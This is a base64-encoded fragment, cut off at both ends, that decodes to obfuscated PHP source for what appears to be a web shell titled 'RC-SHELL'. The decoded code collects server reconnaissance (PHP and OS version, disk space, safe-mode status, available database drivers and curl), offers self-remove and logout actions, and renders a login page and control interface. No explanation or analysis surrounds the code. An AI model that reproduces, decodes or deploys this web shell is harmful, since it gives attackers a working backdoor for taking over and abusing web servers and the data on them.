CcxNScpOyB9IGZ1bmN0aW9uIHo1digkbCwkaSl7IHJldHVybiB6NmwoejduKCRsKS4kaSwnMScpOyB9IGZ1bmN0aW9uIHoxMHQoJGgsJG4sJGM9JycsJHQ9JycpeyByZXR1cm4gJzxhIGhyZWY9IicuJGguJyInLigoJGMhPScnKSA/ICcgY2xhc3M9IicuejRtKCRjLCc1JykuJyInOicnKS4oKCR0IT0nJyk/JyB0YXJnZXQ9Il9ibGFuayInOicnKS4nPicuJG4uJzwvYT4nOyB9IGZ1bmN0aW9uIHo2YSgkZil7IGdsb2JhbCAkbml4LCAkc2hfZXhlYzsgJG09Jyc7IGlmKHo3ZSgnbWQ1X2ZpbGUnKSYmQG1kNV9maWxlKCRmKSE9PWZhbHNlKXsgJG09QG1kNV9maWxlKCRmKTsgfSBlbHNlaWYoJG5peCAmJiAkc2hfZXhlYyl7ICRtPXo5ZSgnbWQ1c3VtICInLiRmLiciJywwKTsgaWYoQHN0cnN0cigkbSwnICcpKSAkbT1Ac3Vic3RyKCRtLDAsQHN0cnBvcygkbSwnICcpKTsgfSByZXR1cm4gKEBzdHJsZW4oJG0pPT0zMikgPyAkbSA6IGZhbHNlOyB9IGZ1bmN0aW9uIHozYygpeyBnbG9iYWwgJGxpbnV4LCRzYWRkciwgJGR0b3RhbCwkZGZyZWUsJGJzYWZlLCRib3BlbmRpciwkYm15c3FsLCRibXNzcWwsJGJvcmFjbGUsJGJwb3N0Z3JlcywkYmN1cmwsJHVzZV9pbWFnZXM7ICRhPUBleHBsb2RlKCIgIixAZ2V0ZW52KCJTRVJWRVJfU09GVFdBUkUiKSk7ICRiPUBleHBsb2RlKCItIixAcGhwdmVyc2lvbigpKTsgaWYoQGlzc2V0KCRhWzBdKSkgeyAkd3d3PSRhWzBdOyB9IGVsc2UgeyAkd3d3PSJVbmtub3duIjsgfSAkd3d3IC49ejl4KDEpLno1eChhcnJheSgnYWN0Jz0+J3BocGluZm8nLCdkJyksejhiKCJQSFAvIi4kYlswXSwnMCcpKTsgZWNobyB6MTB3KHo3dSh6N2soejdpKCdodHRwOi8vd2hvaXMuZG9tYWludG9vbHMuY29tLycuJHNhZGRyLCcxJywnUE9TVCcpLno4Yih6OXkoIjQiKSwnMCcpLno5bCgpLno5eCg1KS56N2koJ2h0dHA6Ly93d3cuZG9tYWludG9vbHMuY29tL3Jlc2VhcmNoL3RyYWNlcm91dGUvP3F1ZXJ5PScuJHNhZGRyLCcxJywnUE9TVCcpLno4Yih6OXkoIjUiKSwiMCIpLno5bCgpLCc2JywnNScpLno2eih6NXgoYXJyYXkoJ2FjdCc9PidzZWxmcmVtb3ZlJywnZCcpLHo4Yih6OXkoIjYiKSwnMCcpKS56OXgoNSkuejV4KGFycmF5KCdhY3QnPT4nbG9nb3V0JywnZCcpLHo4Yih6OXkoIjciKSwnMCcpKSwnNicsJzUnKSksJzYnKTsgZWNobyB6MTB3KCB6N3UoejZsKHo5eSgiOCIpLCcyJywnMicpLigoJGxpbnV4KT96Nmwoejl5KCI5IiksJzInKTonJykuejZsKHo5eSgiMSIpLCcyJykuejZsKHo5eSgiMTAiKSwnMicpLno2bCh6OXkoIjExIiksJzInKS56Nmwoejl5KCIxMiIpLCcyJykuejZsKHo5eSgiMTMiKSwnMicpLno2bCh6OXkoIjE0IiksJzInKS56Nmwoejl5KCIxNSIpLCcyJykuejZsKHo5eSgiMTYiKSwnMicpLno2bCh6OXkoIjE3IiksJzInKS56Nmwoejl5KCIxOCIpLCcyJykpLiB6N3UoejZsKHo5cCgpLCczJywnMicpLigoJGxpbnV4KT96NmwoQHBocF91bmFtZSgncicpLCczJyk6JycpLno2bCh6NWooKSwnMycpLno2bCgkZHRvdGFsLicgLyAnLiRkZnJlZSwnMycpLno2bCgkd3d3LCczJykuejZsKCgkYnNhZmU/ejZ0KHo5eSgiMTkiKSwnbnInKTp6NnQoejl5KCIyMCIpLCdydycpKSwnMycpLno2bCgoJGJvcGVuZGlyP3o2dCh6OXkoIjIxIiksJ25yJyk6ejZ0KHo5eSgiNDI0IiksJ3J3JykpLCczJykuejZsKCgkYmN1cmw/ejZ0KHo5eSgiMjEiKSwncncnKTp6OXkoIjIyIikpLCczJykuejZsKCgkYm15c3FsP3o2dCh6OXkoIjIxIiksJ3J3Jyk6ejl5KCIyMiIpKSwnMycpLno2bCgoJGJtc3NxbD96NnQoejl5KCIyMSIpLCdydycpOno5eSgiMjIiKSksJzMnKS56NmwoKCRib3JhY2xlP3o2dCh6OXkoIjIxIiksJ3J3Jyk6ejl5KCIyMiIpKSwnMycpLno2bCgoJGJwb3N0Z3Jlcz96NnQoejl5KCIyMSIpLCdydycpOno5eSgiMjIiKSksJzMnKSkgLCczJyk7IH0gZnVuY3Rpb24gejN6KCRsb2dpbj0wKXsgZ2xvYmFsICRhY3QsJHVzZV9pbWFnZXMsJHNoX2V4ZWMsJHNhZmVfZXhlYywkZnQsJG5vZ3JhZGllbnQ7IGVjaG8gJzwhRE9DVFlQRSBIVE1MIFBVQkxJQyAiLS8vVzNDLy9EVEQgSFRNTCA0LjAxIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi9odG1sNC9sb29zZS5kdGQiPg0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sIj4NCicuKCR1c2VfaW1hZ2VzPyc8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Ij9hY3Q9aSZhbXA7aW1nPWV4ZSI+JzonJykuJw0KJy4oKCEkbG9naW4pPyAnPHRpdGxlPlsgUkMtU0hFTEwgdicuejd6KCcwJykuKCFAZW1wdHkoJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0pID8gJyAtICcuJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl06JycpLighQGVtcHR5KCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdKSA/ICcgLSAnLiRfU0VSVkVSWyJTRVJWRVJfQUREUiJdOicnKS4nIF08L3RpdGxlPicgOiAnPHRpdGxlPicuejl5KCIwIikuJzwvdGl0bGU+JykuJw0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHksIHRhYmxlLCB0ciwgdGQsIGRpdiwgc2VsZWN0LCBpbnB1dCwgdGV4dGFyZWEsIHByZSwgY29kZSB7IGZvbnQ6IDEwMCUgJy56OXEoImZvbnRmYW0iKS4nOyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IH0NCnRkLCBkaXYgeyBtYXgtd2lkdGg6ICcuejd6KCc1Jywid2lkdGgiKS4ncHg7IH0NCmlucHV0LCBzZWxlY3QsIHRleHRhcmVhIHsgYm9yZGVyOiAwOyBwYWRkaW5nOiAwOyB9DQppbnB1dCwgc2VsZWN0LCB0ZXh0YXJlYSB7IC13ZWJraXQtYm94LXNpemluZzogYm9yZGVyLWJveDsgLW1vei1ib3gtc2l6aW5nOiBib3JkZXItYm94OyBib3gtc2l6aW5nOiBib3JkZXItYm94OyAtbXMtYm94LXNpemluZzogYm9yZGVyLWJveDsgfQ0KaW5wdXQ6Oi1tb3otZm9jdXMtaW5uZXIgeyBib3JkZXI6IDA7cGFkZGluZzogMDsgfQ0KYm9keSB7IGJhY2tncm91bmQtY29sb3I6ICcuejlxKCJib2R5YmciKS4nOyBmb250LWZhbWlseTogJy56OXEoImZvbnRmYW0iKS4nICFpbXBvcnRhbnQ7IGZvbnQtc2l6ZTogMTBweCAhaW1wb3J0YW50OyBjb2xvcjogJy56OXEoImZvbnRjb2xvciIpLic7fQ0KKjpmb2N1cyB7b3V0bGluZTogbm9uZTt9DQouYnV0MSwgLmJ1dDIsIC5idXQzLCAuYWN0YnV0LCAuYnV0MTphY3RpdmUsIC5idXQyOmFjdGl2ZSwgLmJ1dDM6YWN0aXZlIC5hY3RidXQ6YWN0aXZlIHsgYm9yZGVyOiAxcHggc29saWQgI2NjY2NjYzsgbWFyZ2luLWxlZnQ6IDFweDsgdGV4dC1zaGFkb3c6IDFweCAxcHggMnB4ICNmZmZmZmY7IHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7IH0NCi5idXQxLCAuYnV0MiwgLmJ1dDMsIC5hY3RidXQgeyAnLnoyeSgiI0Y1RjVGNSIsIiNFMEUwRTAiKS4nIH0NCi5idXQxOmhvdmVyLCAuYnV0Mjpob3ZlciwgLmJ1dDM6aG92ZXIsIC5hY3RidXQ6aG92ZXIgeyAnLnoyeSgiI0UwRTBFMCIsIiNGNUY1RjUiKS4nIGN1cnNvcjogcG9pbnRlcjsgfQ0KLmJ1dDEgeyB3aWR0aDogMjhweDsgaGVpZ2h0OiAxOHB4OyBmb250LXNpemU6IDEwcHg7IGZvbnQtd2VpZ2h0OiBib2xkOyB9DQouYnV0MiB7IGNvbG9yOiAjNEY0RjRGOyBwYWRkaW5nOiAwIDEwcHggMCAxMHB4OyBoZWlnaHQ6IDIwcHg7IGZvbnQtc2l6ZTogMTBweDsgfQ0KLmFjdGJ1dCB7IGNvbG9yOiAjNEY0RjRGOyBwYWRkaW5nOiAwIDEwcHggMCAxMHB4OyBoZWlnaHQ6IDE4cHg7IGZvbnQtc2l6ZTogMTBweDsgZm9udC13ZWlnaHQ6IG5vcm1hbDsgfQ0KJy4oKCRsb2dpbikgPyAnDQoubG9naW4geyBiYWNrZ3JvdW5kOiAnLno5cSgidGFibGViZyIpLic7IGJvcmRlcjogMXB4IHNvbGlkICcuejlxKCJ0YWJsZWJvcmRlciIpLic7IC1tb3otYm94LXNoYWRvdzogJy56OXEoInRhYmxlc2hhZG93IikuJyAwIDAgOHB4OyAtd2Via2l0LWJveC1zaGFkb3c6IDAgMCA4cHggJy56OXEoInRhYmxlc2hhZG93IikuJzsgYm94LXNoYWRvdzogMCAwIDhweCAnLno5cSgidGFibGVzaGFkb3ciKS4nOyBtYXJnaW4tdG9wOiAxNTBweDsgcGFkZGluZzogMTBweDsgdGV4dC1hbGlnbjogbGVmdDsgfQ0KLmxvZ2luIHRkIHsgcGFkZGluZzogMDsgfQ0KLmxvZ2luIGlucHV0IHsgIGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkY7IGJvcmRlcjogMXB4IHNvbGlkICNDQ0NDQ0M7IGNvbG9yOiAjMzMzMzMzOyBtYXJnaW46IDFweDsgbWFyZ2luLXJpZ2h0OiAwOyBoZWlnaHQ6MjBweDsgd2lkdGg6MTUwcHg7IGZvbnQtc2l6ZTogMTBweDsgdGV4dC1zaGFkb3c6IDFweCAxcHggNXB4ICNkZGRkZGQ7IHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7IH0NCi5sZXJyb3IgeyBjb2xvcjogJy56OXEoJ2VycmNvbG9yJykuJzsgcGFkZGluZy1ib3R0b206IDEwcHggIWltcG9ydGFudDsgfQ0KJyA6ICcNCi5jb250YWluZXIgeyBiYWNrZ3JvdW5kOiAnLno5cSgidGFibGViZyIpLic7IHdpZHRoOiAnLno3eignNScsIndpZHRoIikuJ3B4OyBib3JkZXI6IDFweCBzb2xpZCAnLno5cSgidGFibGVib3JkZXIiKS4nOyAtbW96LWJveC1zaGFkb3c6ICcuejlxKCJ0YWJsZXNoYWRvdyIpLicgMCAwIDhweDsgLXdlYmtpdC1ib3gtc2hhZG93OiAwIDAgOHB4ICcuejlxKCJ0YWJsZXNoYWRvdyIpLic7IGJveC1zaGFkb3c6IDAgMCA4cHggJy56OXEoInRhYmxlc2hhZG93IikuJzsgfQ0KZm9ybSB7IGRpc3BsYXk6IGlubGluZTsgfQ0KbGFiZWwgeyBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7IHZlcnRpY2FsLWFsaWduOiBiYXNlbGluZTsgfQ0KYSB7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgfQ0KLmxpbmtzLCAubGlua3M6YWN0aXZlLCAubGlua3M6dmlzaXRlZCB7IGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50OyBjb2xvcjogJy56OXEoInRsaW5rY29sb3IiKS4nOyB0ZXh0LXNoYWRvdzogMXB4IDFweCAzcHggJy56OXEoInRsaW5rc2hhZG93IikuJzsgcGFkZGluZzogMDsgZm9udC1zaXplOiAxMHB4OyBmb250LXdlaWdodDpub3JtYWw7IHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7IHZlcnRpY2FsLWFsaWduOiBpbmhlcml0ICFpbXBvcnRhbnQ7IH0NCi5saW5rczpob3ZlciB7IGNvbG9yOiAnLno5cSgidGxpbmtjb2xvcmhvdmVyIikuJzsgY3Vyc29yOiBwb2ludGVyOyB9DQouc2xpbmtzIHsgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7IGNvbG9yOiAnLno5cSgnZGlyY29sb3InKS4nOyBmb250LXNpemU6IDExcHg7IGZvbnQtd2VpZ2h0OiBub3JtYWw7IH0NCi5zbGlua3M6aG92ZXIgeyBjdXJzb3I6IHBvaW50ZXI7IH0NCi5zaW5mbyB7IHdpZHRoOiAxMDAlOyB9DQoudGRzaW5mbyB7ICcuejJ5KHo5cSgidGJhcmJnMSIpLHo5cSgidGJhcmJnMiIpKS4nIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAnLno5cSgidGJhcmJvcmRlcmIiKS4nOyBib3JkZXItdG9wOiAxcHggc29saWQgJy56OXEoInRiYXJib3JkZXJ0IikuJzsgcGFkZGluZzogNHB4OyB9DQoudGRzaW5mbyAubGlua3MgeyBmb250LXNpemU6IDlweDsgfQ0KLnRkc2luZm8gc3BhbiB7IHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7IH0NCi50b3BjZiB7IHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7IH0NCi50b3B0IHsgJy56MnkoejlxKCJ0b3BiZzEiKSx6OXEoInRvcGJnMiIpKS4nIGJvcmRlci10b3A6IDFweCBzb2xpZCAnLno5cSgidG9wYm9yZGVyMSIpLic7IGNvbG9yOiAnLno5cSgidG9wY29sb3IiKS4nOyB0ZXh0LXNoYWRvdzogMXB4IDFweCA1cHggJy56OXEoInRvcHNoYWRvdyIpLic7IHBhZGRpbmctdG9wOiAxMHB4OyBmb250LXNpemU6IDlweDsgZm9udC13ZWlnaHQ6IGJvbGQ7IHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7IH0NCi50b3BjIHsgYmFja2dyb3VuZDogJy4oKEBpc3NldCgkbm9ncmFkaWVudCkmJiRub2dyYWRpZW50KT96OXEoInRvcGJnMSIpOno5cSgidG9wYmcyIikpLic7IGNvbG9yOiAnLno5cSgidG9wY29sb3IiKS4nOyBwYWRkaW5nLWJvdHRvbTogMTBweDsgdmVydGljYWwtYWxpZ246IG1pZGRsZTsgfQ0KLm5hdiB7ICcuejJ5KCIjZmZmZmZmIiwiI2YzZjNmMyIpLicgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNmMGYwZjA7IHBhZGRpbmc6IDJweCAwIDJweCAycHg7IHdpZHRoOiAxMDAlOyB9DQouZm9vdGVyIHsgd2lkdGg6IDEwMCU7IH0NCi50ZGZvb3RlciB7ICcuejJ5KHo5cSgiZm9vdGVyYmcxIiksejlxKCJmb290ZXJiZzIiKSkuJyBib3JkZXItdG9wOiAxcHggc29saWQgJy56OXEoImZvb3RlcmJvcmRlcjEiKS4nOyBwYWRkaW5nOiAzcHg7IGNvbG9yOiAnLno5cSgiZm9vdGVyY29sb3IiKS4nOyB0ZXh0LXNoYWRvdzogMXB4IDFweCA1cHggJy56OXEoImZvb3RlcnNoYWRvdyIpLic7IGZvbnQtc2l6ZTogOXB4OyBmb250LXdlaWdodDogYm9sZDsgdmVydGljYWwtYWxpZ246IG1pZGRsZTsgfQ0KLmhlYWRuZm8geyB3aWR0aDogMTAwJTsgfQ0KLnFsIHsgd2lkdGg6IDEwMCU7IH0NCi50ZHFsIHsgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7IGJvcmRlci10b3A6IDFweCBzb2xpZCAnLno5cSgicWxiZzIiKS4nOyBib3JkZXItYm90dG9tOiAzcHggc29saWQgI0UwRTBFMDsgfQ0KLnFsMSwgLnFsMiwgLnFsYmFjayB7IGZvbnQtc2l6ZTogMTBweDsgZm9udC13ZWlnaHQ6IGJvbGQ7IH0NCi5xbDEgeyAnLnoyeSgiI2ZlZmVmZSIsIiNFMEUwRTAiLDEpLicgYm9yZGVyOiAxcHggc29saWQgI0VGRUFFRjsgYm9yZGVyLWJvdHRvbTogMDsgY29sb3I6ICMwMzAzMDM7IHdpZHRoOjEwMCU7IGhlaWdodDogMjJweDsgdGV4dC1zaGFkb3c6ICNjY2NjY2MgMnB4IC0xcHggMTBweDsgfQ0KLnFsMiB7ICcuejJ5KHo5cSgicWxiZzEiKSwgejlxKCJxbGJnMiIpLDEpLicgY29sb3I6ICcuejlxKCJxbGNvbG9yIikuJzsgYm9yZGVyLXRvcDogMXB4IHNvbGlkICcuejlxKCJxbGJvcmRlciIpLic7IGJvcmRlci1sZWZ0OiAwOyBib3JkZXItcmlnaHQ6IDA7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjRUZFQUVGOyB3aWR0aDoxMDAlOyBoZWlnaHQ6IDIycHg7IHRleHQtc2hhZG93OiAnLno5cSgicWxzaGFkb3ciKS4nIDJweCAtMXB4IDEwcHg7IH0NCi5xbGJhY2sgeyAnLnoyeSh6OXEoInFsYmcxIiksIHo5cSgicWxiZzIiKSwxKS4nIGJvcmRlci10b3A6IDFweCBzb2xpZCAnLno5cSgicWxib3JkZXIiKS4nOyBib3JkZXItYm90dG9tOiAxcHggc29saWQgI0VGRUFFRjsgY29sb3I6ICcuejlxKCJxbGNvbG9yIikuJzsgd2lkdGg6MTAwJTsgdGV4dC1zaGFkb3c6ICcuejlxKCJxbHNoYWRvdyIpLicgMnB4IC0xcHggMTBweDsgaGVpZ2h0OiAyMnB4OyBjdXJzb3I6IHBvaW50ZXI7IH0NCi5xbDE6aG92ZXIgeyBjdXJzb3I6cG9pbnRlcjsgfQ0KLnFsMjpob3ZlciwgLnFsYmFjazpob3ZlciB7IGNvbG9yOiAnLno5cSgicWxjb2xvcmhvdmVyIikuJzsgY3Vyc29yOiBwb2ludGVyOyB9DQouc2l6ZTEsIC5zaXplMiwgLnNpemUzLCAuc2l6ZTQsIC5zaXplNSwgLnNpemU2LCAuc2l6ZTcsIC5zaXplOCwgLnNpemU5LCAuc2l6ZTEwIHsgIGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkY7IGJvcmRlcjogMXB4IHNvbGlkICNDQ0NDQ0M7IGNvbG9yOiAjMzMzMzMzOyBtYXJnaW46IDFweDsgbWFyZ2luLXJpZ2h0OiAwOyBmb250LXNpemU6IDEwcHg7IHRleHQtc2hhZG93OiAxcHggMXB4IDVweCAjZGRkZGRkOyB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlOyB9DQouc2l6ZTEsIC5zaXplMiwgLnNpemUzLCAuc2l6ZTUsIC5zaXplNiwgLnNpemU3LCAuc2l6ZTgsIC5zaXplOSwgLnNpemUxMCAgeyBoZWlnaHQ6IDIwcHg7fQ0KLnNpemUxIHsgd2lkdGg6IDMwMHB4OyB9DQouc2l6ZTIgeyB3aWR0aDogNjVweDsgfQ0KLnNpemUzIHsgd2lkdGg6IDIwMHB4OyB9DQouc2l6ZTQgeyB3aWR0aDogNjVweDsgaGVpZ2h0OiAxOHB4OyB9DQouc2l6ZTUgeyB3aWR0aDogMTAwcHg7IH0NCi5zaXplNiB7IHdpZHRoOiAxNTBweDsgfQ0KLnNpemU3IHsgd2lkdGg6IDQwcHg7IH0NCi5zaXplOCB7IHdpZHRoOiA5OSU7IG1pbi13aWR0aDogMzcwcHg7IH0NCi5zaXplOSB7IHdpZHRoOiAyMDVweDsgfQ0KLnNpemUxMCB7IHdpZHRoOiA1NTBweDsgfQ0KLmxpc3QxIHsgYmFja2dyb3VuZDogI0YyZjJmMjsgfQ0KLmxpc3QyIHsgYmFja2dyb3VuZDogI0Y1RjVGNTsgfQ0KLmxpc3QzIHsgYmFja2dyb3VuZDogI0UwRTBFMDsgfQ0KLmxpc3QxOmhvdmVyLCAubGlzdDI6aG92ZXIgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjRTBFMEUwOyB9DQoubGlzdDM6aG92ZXIgeyBiYWNrZ3JvdW5kOiAjQ0NDQ0NDOyB9DQoudGRsc2gxLCAudGRsc2gyLCAudGRwaCB7IGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50OyBib3JkZXItdG9wOiAxcHggc29saWQgI0RERERERDsgYm9yZGVyLXJpZ2h0OiAxcHggc29saWQgI0ZGRkZGRjsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNDQ0NDQ0M7IGJvcmRlci1sZWZ0OiAxcHggc29saWQgI0NDQ0NDQzsgY29sb3I6ICMzMzMzMzM7IHRleHQtc2hhZG93OiAxcHggMXB4IDNweCAjZmZmZmZmOyBoZWlnaHQ6IDIwcHg7IH0NCi50ZGxzaDEsIC50ZGxzaDIgeyBwYWRkaW5nLWxlZnQ6IDJweDsgcGFkZGluZy1yaWdodDogNXB4OyBtaW4td2lkdGg6IDYwcHg7IGhlaWdodDogMjBweDsgfQ0KLnRkbHNoMSB7IGJvcmRlci1sZWZ0OiAwOyBtaW4td2lkdGg6IDM1MHB4OyB9DQoudGRwaCB7IHBhZGRpbmctbGVmdDogMnB4OyB9DQoudGRwbCB7IGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50OyBib3JkZXItbGVmdDogMXB4IHNvbGlkICNkZGRkZGQ7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICNmZmZmZmY7IHBhZGRpbmc6IDJweDsgbWluLXdpZHRoOiA0MHB4OyBtaW4taGVpZ2h0OiAyMHB4OyB3b3JkLWJyZWFrOiBicmVhay1hbGw7IH0NCi5oZWFkIHsgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7IGJvcmRlcjowOyBtaW4td2lkdGg6IDEwMCU7IGNvbG9yOiAjMzMzMzMzOyB0ZXh0LXNoYWRvdzogMXB4IDFweCAzcHggI2ZmZmZmZjsgbWFyZ2luOiAwOyBwYWRkaW5nOjA7IGZvbnQtc2l6ZTogMTBweDsgZm9udC13ZWlnaHQ6IG5vcm1hbDsgdGV4dC1hbGlnbjogbGVmdDsgfQ0KLmhlYWQ6aG92ZXIgeyBjdXJzb3I6IHBvaW50ZXI7IH0NCi50ZGxzaDEsIC50ZGxzaDIsIC50ZHBoIHsgJy56MnkoIiNGNUY1RjUiLCAiI0UwRTBFMCIpLicgaGVpZ2h0OiAyMnB4ICFpbXBvcnRhbnQ7IH0NCi50ZGxzaDE6aG92ZXIsIC50ZGxzaDI6aG92ZXIsIC50ZHBoOmhvdmVyIHsgJy56MnkoIiNmZWZlZmUiLCIjZGRkZGRkIikuJyB9DQoudGRsc2YgeyBwYWRkaW5nLWxlZnQ6IDJweDsgbWluLXdpZHRoOiAzMDBweDsgaGVpZ2h0OiAyMHB4OyB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlOyB9DQoudGRsc2ZuLCAudGRsc2YxIHsgcGFkZGluZy1sZWZ0OiAycHg7IHBhZGRpbmctcmlnaHQ6IDVweDsgbWluLXdpZHRoOiA2MHB4OyBoZWlnaHQ6IDIwcHg7IHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7IH0NCi50ZGxzZjEgeyBib3JkZXItbGVmdDogMXB4IHNvbGlkICNGRkZGRkY7IG1pbi13aWR0aDogMjAwcHg7IH0NCi50ZGhlYWQgeyAnLnoyeSgiI0UwRTBFMCIsIiNlZmVmZWYiLDEpLicgYm9yZGVyLXRvcDogMXB4IHNvbGlkICNmM2YzZjM7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZTBlMGUwOyBib3JkZXItcmlnaHQ6MDsgY29sb3I6ICMwMzAzMDM7IHBhZGRpbmctbGVmdDogM3B4OyBoZWlnaHQ6IDIwcHg7IGZvbnQtc2l6ZTogOXB4OyBmb250LXdlaWdodDogYm9sZDsgfQ0KLnRkaGVhZCB0ZCwgLnRkbGJsIHsgY29sb3I6ICMzMzMzMzM7IHBhZGRpbmc6IDNweDsgZm9udC13ZWlnaHQ6IGJvbGQ7IHRleHQtc2hhZG93OiAxcHggMXB4IDNweCAjZmZmZmZmOyB9DQoudGRsYmwgeyB3aWR0aDogMTUwcHg7IH0NCi50ZG1haWwgeyBwYWRkaW5nOiAwIDEwcHggMCAxMHB4O30NCmltZyB7IHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7IH0NCi5maW1nIHsgYm9yZGVyOiAwOyBwYWRkaW5nOjA7IHBhZGRpbmctcmlnaHQ6MXB4OyB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlOyB9DQoudGZpbHRlciB7IHdpZHRoOiAxMDAlOyB9DQoudGRmaWx0ZXIgeyAnLnoyeSgiI2VmZWZlZiIsIiNFMEUwRTAiKS4nIGJvcmRlci10b3A6IDFweCBzb2xpZCAjZmVmZWZlOyBjb2xvcjogIzMzMzMzMzsgcGFkZGluZzogMnB4OyBmb250LXdlaWdodDogYm9sZDsgfQ0KLm5yLCAubncsIC5ydyB7IGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50OyBmb250LXdlaWdodDpub3JtYWw7IHRleHQtdGVjb3JhdGlvbjogbm9uZTsgfQ0KLm5yIHsgY29sb3I6ICcuejlxKCdlcnJjb2xvcicpLic7IH0NCi5udyB7IGNvbG9yOiAnLno5cSgnbm9ybWFsY29sb3InKS4nOyB9DQoucncgeyBjb2xvcjogJy56OXEoJ29rY29sb3InKS4nOyB9DQouZGlybGlzdCwgLmZpbGVsaXN0IHsgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7IGJvcmRlcjogMDsgIHBhZGRpbmc6IDA7IG1pbi13aWR0aDogODAlOyBmb250LXNpemU6IDExcHg7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgdGV4dC1hbGlnbjogbGVmdDsgdmVydGljYWwtYWxpZ246IG1pZGRsZSAhaW1wb3J0YW50OyB9DQouZGlybGlzdCB7IGNvbG9yOiAnLno5cSgnZGlyY29sb3InKS4nOyB9DQouZmlsZWxpc3QgeyBjb2xvcjogJy56OXEoJ25vcm1hbGNvbG9yJykuJzsgfQ0KLmRpcmxpc3Q6aG92ZXIsIC5maWxlbGlzdDpob3ZlciB7IGN1cnNvcjogcG9pbnRlcjsgfQ0KcHJlIHsgYmFja2dyb3VuZC1jb2xvcjogI0ZBRkFGQTsgY29sb3I6IzMzMzMzMzsgYm9yZGVyOiAxcHggc29saWQgI0NDQ0NDQzsgbWFyZ2luLXRvcDowOyBwYWRkaW5nOiA1cHg7IG1heC13aWR0aDogMTAwMHB4OyBtYXgtaGVpZ2h0OiAzNTBweDsgdGV4dC1hbGlnbjogbGVmdDsgb3ZlcmZsb3cteDogYXV0bzsgd2hpdGUtc3BhY2U6IHByZS13cmFwOyB3aGl0ZS1zcGFjZTogLW1vei1wcmUtd3JhcCAhaW1wb3J0YW50OyAgd2hpdGUtc3BhY2U6IC1wcmUtd3JhcDsgd2hpdGUtc3BhY2U6IC1vLXByZS13cmFwOyB3b3JkLXdyYXA6IGJyZWFrLXdvcmQ7IH0NCnByZSBjb2RlIHsgZGlzcGxheTogYmxvY2s7IH0NCi5mdGFjdGl2ZSwgLmZ0Y29tcGF0LCAuZnRvdGhlciB7ICcuejJ5KCIjZjNmM2YzIiwgIiNjY2NjY2MiKS4nIGJvcmRlcjogMXB4IHNvbGlkICNCQkJCQkI7IG1hcmdpbjoycHggMXB4IDJweCAwOyBwYWRkaW5nOiAycHggOHB4IDJweCA4cHg7IGhlaWdodDoyMHB4OyBmb250LXNpemU6IDEwcHggIWltcG9ydGFudDsgfQ0KLmZ0YWN0aXZlOmhvdmVyLCAuZnRjb21wYXQ6aG92ZXIsIC5mdG90aGVyOmhvdmVyIHsgJy56MnkoIiNDQ0NDQ0MiLCAiI0YzRjNGMyIpLicgY3Vyc29yOiBwb2ludGVyOyB9DQouZnRhY3RpdmUgeyAnLnoyeSgiI0NDQ0NDQyIsICIjRjNGM0YzIikuJyBjb2xvcjogIzAwMDAwMDsgfQ0KLmZ0Y29tcGF0IHsgY29sb3I6ICcuejlxKCdva2NvbG9yJykuJzsgfQ0KLmZ0b3RoZXIgeyBjb2xvcjogJy56OXEoJ25vcm1hbGNvbG9yJykuJzsgfQ0KLm1idXQxLCAubWJ1dDIgeyBib3JkZXI6IDFweCBzb2xpZCAjQkJCQkJCOyBtYXJnaW46IDJweCAxcHggMnB4IDA7IHBhZGRpbmc6IDFweCA1cHggMXB4IDVweDsgaGVpZ2h0OiAyMHB4OyBmb250LXNpemU6IDEwcHg7IH0NCi5tYnV0MSB7ICcuejJ5KCIjRjNGM0YzIiwgIiNDQ0NDQ0MiKS4nIH0NCi5tYnV0MiB7ICcuejJ5KCIjQ0NDQ0NDIiwgIiNGM0YzRjMiKS4nIH0NCi5tYnV0MTpob3ZlciwgLm1idXQyOmhvdmVyIHsgJy56MnkoIiNjY2NjY2MiLCAiI2YzZjNmMyIpLicgY3Vyc29yOiBwb2ludGVyOyB9DQouaWZyYW1lIHsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRjsgYm9yZGVyOiAxcHggc29saWQgI0NDQ0NDQzsgd2lkdGg6IDk5JTsgIGhlaWdodDogMzAwcHg7IHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7IH0NCi5jb25zb2xlIHsgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7IGNvbG9yOiAjMzMzMzMzOyBib3Jk